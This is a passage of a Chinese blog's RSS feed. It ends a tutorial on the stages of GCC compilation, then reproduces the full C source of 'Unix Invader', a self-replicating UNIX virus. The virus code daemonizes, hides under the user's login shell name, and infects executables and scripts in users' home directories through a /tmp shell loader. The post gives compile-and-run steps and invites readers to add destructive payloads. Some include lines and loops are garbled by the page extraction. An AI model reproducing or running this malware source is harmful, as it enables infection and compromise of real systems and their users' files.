<p><span style="color: #000000;">&#8230;<br />
extern int remove (__const char *__filename) __attribute__ ((__nothrow__));</span></p>
<p><span style="color: #000000;">extern int rename (__const char *__old, __const char *__new) __attribute__ ((__nothrow__));</span></p>
<p><span style="color: #000000;">&#8230;</span></p>
<p><span style="color: #000000;">int main(int argc, char *argv[])<br />
{<br />
printf(&#8220;Hello World!\n&#8221;);</span></p>
<p><span style="color: #000000;">return 0;<br />
}</span></p>
<p><span style="color: #000000;">注：由于文件比较大，所以只留下了少部分具有代表性的内容。</span></p>
<p><span style="color: #000000;">可以看见预处理器把所有要包含（include）的文件（包括递归包含的文件）的内容都添加到了原始的C源文件中，然后把其输出到输出文件，除此之外，它还展开了所有的宏定义，所以在预处理器的输出文件中你将找不到任何宏。这也提供了一个查看宏展开结果的简便方法。</span></p>
<p><span style="color: #000000;">第二步“编译”，就是把C/C++代码“翻译”成汇编代码：</span></p>
<p><span style="color: #000000;">.file &#8220;hw.c&#8221;<br />
.section .rodata<br />
.LC0:<br />
.string &#8220;Hello World!\n&#8221;<br />
.text<br />
.globl main<br />
.type main, @function<br />
main:<br />
pushl %ebp<br />
movl %esp, %ebp<br />
subl $8, %esp<br />
andl $-16, %esp<br />
movl $0, %eax<br />
addl $15, %eax<br />
addl $15, %eax<br />
shrl $4, %eax<br />
sall $4, %eax<br />
subl %eax, %esp<br />
subl $12, %esp<br />
pushl $.LC0<br />
call printf<br />
addl $16, %esp<br />
movl $0, %eax<br />
leave<br />
ret<br />
.size main, .-main<br />
.section .note.GNU-stack,&#8221;",@progbits<br />
.ident &#8220;GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)&#8221;</span></p>
<p><span style="color: #000000;">这个汇编文件比预处理后的C/C++文件小了很多，去除了很多不必要的东西，比如说没用到的类型声明和函数声明等。</span></p>
<p><span style="color: #000000;">第三步“汇编”，将第二步输出的汇编代码翻译成符合一定格式的机器代码，在Linux上一般表现为ELF目标文件。</span></p>
<p><span style="color: #000000;">xiaosuo@gentux hw $ file hw.o<br />
hw.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped</span></p>
<p><span style="color: #000000;">最后一步“连接”，将上步生成的目标文件和系统库的目标文件和库文件连接起来，最终生成了可以在特定平台运行的可执行文件。为什么还要连接系统库中的某些目标文件（crt1.o, crti.o等）呢？这些目标文件都是用来初始化或者回收C运行时环境的，比如说堆内存分配上下文环境的初始化等，实际上crt也正是C RunTime的缩写。这也暗示了另外一点：程序并不是从main函数开始执行的，而是从crt中的某个入口开始的，在Linux上此入口是_start。以上Makefile生成的是动态连接的可执行文件，如果要生成静态连接的可执行文件需要将Makefile中的相应段修改：<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
hw: hw.o<br />
ld -m elf_i386 -static -o hw /usr/lib/crt1.o \<br />
/usr/lib/crti.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtbeginT.o \<br />
-L/usr/lib/gcc/i686-pc-linux-gnu/3.4.6 \<br />
-L/usr/i686-pc-linux-gnu/lib \<br />
-L/usr/lib/ \<br />
hw.o &#8211;start-group -lgcc -lgcc_eh -lc &#8211;end-group \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/crtend.o \<br />
/usr/lib/gcc/i686-pc-linux-gnu/3.4.6/../../../crtn.o</span></p>
<p><span style="color: #000000;">至此，一个可执行文件才最终创建完成。通常的项目中并不需要把编译过程分得如此之细，前三步一般是合为一体的，在Makefile中表现如下:</span></p>
<p><span style="color: #000000;">hw.o: hw.c<br />
gcc -o hw.o -c hw.c</span></p>
<p><span style="color: #000000;">实际上，如果对hw.c进行了什么更改，那么前三步大多数情况下都是不可避免的。所以把他们写在一起也并没有什么坏处，相反倒可以用&#8211;pipe参数告诉编译器用管道替代临时文件，从而提升编译的效率</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/748.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C编写的UNIX病毒</title>
		<link>http://www.evanjiang.net.cn/archives/144.html</link>
		<comments>http://www.evanjiang.net.cn/archives/144.html#comments</comments>
		<pubDate>Sat, 27 Dec 2008 05:35:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[c语言 UNIX 病毒]]></category>

		<guid isPermaLink="false">http://www.hunttech.com.cn/wpblog/?p=144</guid>
		<description><![CDATA[<p> 
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/
        /*这是一只 UNIX 下的电脑病毒,
        virus name: Unix Invader (入侵者)
        written by NCKU htk</p>
<p> [...]]]></description>
			<content:encoded><![CDATA[<p> <br />
        Unix Invader (入侵者)</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-cut from here &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*/<br />
        /*这是一只 UNIX 下的电脑病毒,<br />
        virus name: Unix Invader (入侵者)<br />
        written by NCKU htk</p>
<p>        其特点有:<br />
        1.其具有 daemon process 的特性(lose control tty)<br />
        故该process owner 没在线上,该病毒依旧能作用执行,<br />
        不会被系统终结.<br />
        2.其可感染 UNIX 上 script file 和 各型 binary file<br />
        (当然要属性得宜) ,不重复感染.感染完后,该执行档或<br />
        script file 依旧可执行&#8230;(好像是废话)<br />
        3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用<br />
        该user 的 login shell basename 作为程式名,故,用ps -aux<br />
        (单ps 看不到)或 top 之类的程式,要仔细看,才会被发现&#8230;(有点奸诈)<br />
        4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力<br />
        5.其它&#8230;暂时没有.<br />
        6.本来要增加 root kill -9 也杀不死的能力,但,时间有限,且经济<br />
        效益不高所以作罢&#8230;(别跟我说 kill -9 pid 是无敌的,我依然有办法)<br />
        如何实验?<br />
        cp 几个 binary file 到你的 home directory 里,做几个开头字元<br />
        是 # 的 script file &#8230;.<br />
        如何起动?<br />
        1.先把此档案设定为 filename.c<br />
        2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c<br />
        ^ ^ 很重要一定要有!<br />
        3.然后可能会有些警告讯习,管它&#8230;.,然后,应该会有个 virus@ 档出现<br />
        4. ls -l 看看该(virus@)档案长度多长,记好.<br />
        5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案<br />
        长度(有标示 here 的地方)<br />
        6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.<br />
        7.执行它&#8230;ok! <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>        8.你就中毒了(十秒内)&#8230;&#8230;..以后一旦有适合的档案将会马上被感染&#8230;<br />
        其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力<br />
        想个残忍的破坏动作&#8230;&#8230;..有兴趣的人,可以自己去加上&#8230;.<br />
        2.此 virus ,在UNIX 作业系统下执行,故证明一点&#8230;.只要有人类,没有什<br />
        么不可能有 virus 的 environment,方法是人想出来的.<br />
        3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,<br />
        能被此 virus 感染的该帐号,被Crack 的机会是相当高.<br />
        4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,<br />
        其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search<br />
        就可能把整个wrok station 的目录扫完.<br />
        5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现&#8230; <img src='http://www.evanjiang.net.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
        6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定<br />
        是没有用的,所以实验前赶紧搬一搬吧!<br />
        7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的 linux上<br />
        实验,您&#8230;自个好自为之,被抓到或被踢除帐号,别怪作者htk<br />
        没先跟你说.<br />
        OK?<br />
        大家好好玩吧!<br />
<span id="more-144"></span><br />
        注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也&#8230;</p>
<p>        */</p>
<p>        /* VIRUS IN UNIX !!!! */<br />
        /* written by NCKU EE htk */<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include<br />
        #include</p>
<p>        #define CHK 512<br />
        #define PERM S_IRWXU<br />
        #define CHKT 10<br />
        #define LOADER &#8220;\nrm -f /tmp/.@`whoami`;cat &lt; &#8221;<br />
        #define LOADER2 &#8221; |tail -c 18606 &gt;/tmp/.@`whoami`;chmod 700<br />
        /tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n&#8221;<br />
        /* ^^^^^modify here !!! */<br />
        #define VL 18606<br />
        /* and ^^^^^ here !!! */<br />
        #define VLL -VL</p>
<p>        #define BUFSIZE 25088<br />
        #define BSI 80<br />
        #define EXE 1<br />
        #define SCR 2<br />
        struct flock bk;<br />
        int fo,f,status=NULL;<br />
        int flagn=0;<br />
        void main(argc,argv,envp)<br />
        int argc;<br />
        char *argv[];<br />
        char *envp[];<br />
        {<br />
        char *buf2,*fname;<br />
        static char pidp[BSI]=&#8221;/tmp/.&#8221;;<br />
        static char bufr[BSI]=&#8221;";<br />
        static int dec;<br />
        unsigned int k,kep;<br />
        struct passwd *getp;<br />
        int caller(void);<br />
        int chec(int);<br />
        char *base(char *);<br />
        char *find(void);<br />
        void catch(void);<br />
        int check(char *,int);<br />
        signal(SIGCLD,SIG_IGN);</p>
<p>        strcat(pidp,ecvt((double)getuid(),chec(getuid()),&amp;dec,&amp;dec));</p>
<p>        fname=(char *)tempnam(&#8220;/tmp&#8221;,NULL);<br />
        buf2=(char *)malloc(BUFSIZE);<br />
        if((fo=open(argv[0],O_RDONLY))&lt;0 || (f=creat(fname,PERM))&lt;0) exit(1);<br />
        if((kep=lseek(fo,0L,2))&gt;2*VL)<br />
        {<br />
        lseek(fo,VLL,2);<br />
        k=read(fo,buf2,VL);<br />
        write(f,buf2,k);<br />
        lseek(fo,VL,0);<br />
        while((k=read(fo,buf2,BUFSIZE))&gt;0)<br />
        write(f,buf2,k);<br />
        /* ignore more lefting virus in a tail */<br />
        }<br />
        else<br />
        {<br />
        lseek(fo,VL-kep,2);<br />
        k=read(fo,buf2,kep-VL);<br />
        write(f,buf2,k);<br />
        }<br />
        close(f);<br />
        chmod(fname,S_IRWXU);<br />
        free(buf2);</p>
<p>        if((kep=fork())&gt;0)<br />
        {<br />
        for(k=0;k if(*(argv[0]+k)==&#8217;@') exit(0);<br />
        execve(fname,argv,envp);<br />
        }<br />
        else<br />
        if(kep==0)<br />
        {<br />
        sleep(2);<br />
        unlink(fname);</p>
<p>        for(k=0;k getp=(struct passwd *)getpwuid(getuid());<br />
        strcpy(argv[0],base(getp-&gt;pw_shell));</p>
<p>        /* initialize daemon process &#8230; */</p>
<p>        for(k=0;k&lt;2;k++) close(k);<br />
        umask(0);<br />
        if(fork()!=0)exit(0);<br />
        signal(SIGHUP,SIG_IGN);<br />
        signal(SIGINT,SIG_IGN);<br />
        signal(SIGTTOU,SIG_IGN);<br />
        setpgrp();<br />
        if((kep=open(&#8220;/dev/tty&#8221;,O_RDWR))&gt;=0)<br />
        { ioctl(kep,TIOCNOTTY,(char *)0);<br />
        close(kep);<br />
        }<br />
        if(fork()!=0)exit(0);<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
        signal(SIGUSR1,catch);<br />
        if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))&lt;0) exit(1);<br />
        k=read(kep,bufr,BSI);<br />
        if(k!=0) kill(atoi(bufr),SIGUSR1);</p>
<p>        strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&amp;dec,&amp;dec));<br />
        lseek(kep,0L,0);<br />
        do{<br />
        k=write(kep,bufr,strlen(pidp)+1);<br />
        while((buf2=find())!=NULL)<br />
        {<br />
        getp=(struct passwd *)getpwnam(buf2);<br />
        if(chdir((buf2=(char *)getp-&gt;pw_dir))&lt;0) continue;<br />
        if(ftw(buf2,caller,15)!=0) continue;<br />
        }</p>
<p>        sleep(CHKT);<br />
        setutent();<br />
        lseek(kep,0L,0);<br />
        }while(1);<br />
        }<br />
        }<br />
        int chec(num)<br />
        int num;<br />
        {<br />
        int y=1;<br />
        while((num=(int)(num/10))&gt;=1) y++;<br />
        return(y);<br />
        }<br />
        void catch(void)<br />
        {<br />
        flagn=1;<br />
        }</p>
<p>        char *base(poi)<br />
        char *poi;<br />
        { int i;<br />
        for(i=(strlen(poi)-1);i&gt;=0;i&#8211;)<br />
        if(*(poi+i)==&#8217;/') return((char *)(poi+i+1));<br />
        return(&#8220;sh&#8221;);<br />
        }<br />
        char *find()<br />
        {<br />
        static char name[9]=&#8221;";<br />
        struct utmp *goal;<br />
        goal=(struct utmp *)getutent();<br />
        if(goal-&gt;ut_type==USER_PROCESS)<br />
        {<br />
        strcpy(name,goal-&gt;ut_user);<br />
        return(name);<br />
        }<br />
        if(goal==(struct utmp *)NULL) return(NULL);<br />
        }</p>
<p>        int caller(name,statptr,type)<br />
        char *name;<br />
        struct stat *statptr;<br />
        int type;<br />
        { unsigned int nread,ymode;<br />
        static char load[200];<br />
        char buf[VL],buf3[VL];<br />
        if(type==FTW_F)<br />
        {<br />
        ymode=statptr-&gt;st_mode;<br />
        if(check(name,ymode)&lt;0)<br />
        { if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        return(0);<br />
        }<br />
        if( status==SCR )<br />
        {<br />
        strcpy(load,LOADER);<br />
        strcat(load,name);<br />
        strcat(load,LOADER2);<br />
        lseek(f,0L,2);<br />
        write(f,load,strlen(load));<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        write(f,buf,nread);<br />
        }<br />
        if( status==EXE )<br />
        {</p>
<p>        if(statptr-&gt;st_size&gt;VL)<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf,VL);<br />
        lseek(f,0L,2);<br />
        write(f,buf,nread);<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        }<br />
        else<br />
        {<br />
        lseek(f,0L,0);<br />
        nread=read(f,buf3,VL);<br />
        ymode=nread;<br />
        lseek(fo,0L,0);<br />
        nread=read(fo,buf,VL);<br />
        lseek(f,0L,0);<br />
        write(f,buf,nread);<br />
        write(f,buf3,ymode);<br />
        }<br />
        }<br />
        /* lseek(f,0L,0);<br />
        lockf(f,F_ULOCK,0); */<br />
        /* author&#8217;s linux library has no above program library */</p>
<p>        bk.l_type=F_UNLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        fcntl(f,F_SETLK,&amp;bk);</p>
<p>        if(statptr-&gt;st_uid==getuid()) chmod(name,ymode);<br />
        close(f);<br />
        }<br />
        if(flagn) exit(0);<br />
        return(0);<br />
        }<br />
        int check(name,ymode)<br />
        char *name;<br />
        int ymode;<br />
        {<br />
        char ch[CHK];<br />
        char ch2[CHK];<br />
        int rd,i;<br />
        status=(int)NULL;<br />
        if((f=open(name,O_RDWR))&lt;0)<br />
        {<br />
        if(chmod(name,ymode|S_IRUSR|S_IWUSR)&lt;0) return(-1);<br />
        if((f=open(name,O_RDWR))&lt;0) return(-1);<br />
        }<br />
        /* if(lockf(f,F_TLOCK,0)&lt;0) { close(f); return(-1); } */</p>
<p>        bk.l_type=F_WRLCK;<br />
        bk.l_whence=0;<br />
        bk.l_len=0;<br />
        bk.l_start=0;<br />
        if(fcntl(f,F_SETLK,&amp;bk)&lt;0) { close(f); return(-1); }</p>
<p>        lseek(f,0L,0);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        {<br />
        if( ch[0]!=&#8217;#&#8217; &amp;&amp; (ymode&amp;(S_IXUSR|S_IXGRP|S_IXOTH)) )<br />
        {<br />
        status=EXE; return(1); }<br />
        else<br />
        if( ch[0]==&#8217;#&#8217; &amp;&amp; lseek(f,0L,2)&gt;VL ) /* you can improve the rule */<br />
        {<br />
        lseek(f,VLL,2);<br />
        rd=read(f,ch,CHK);<br />
        lseek(fo,0L,0);<br />
        read(fo,ch2,rd);<br />
        for(i=0;i if(ch[i]!=ch2[i])<br />
        { status=SCR; return(1); }<br />
        }<br />
        else if(ch[0]==&#8217;#')<br />
        { status=SCR; return(1); }<br />
        break;<br />
        }<br />
        close(f);<br />
        return(-1);<br />
        }</p>
<p>        /*&#8212;&#8212;&#8212;&#8212;&#8212;-virus end&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;*/<</p>
<div><span><br />
</span></div>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/144.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
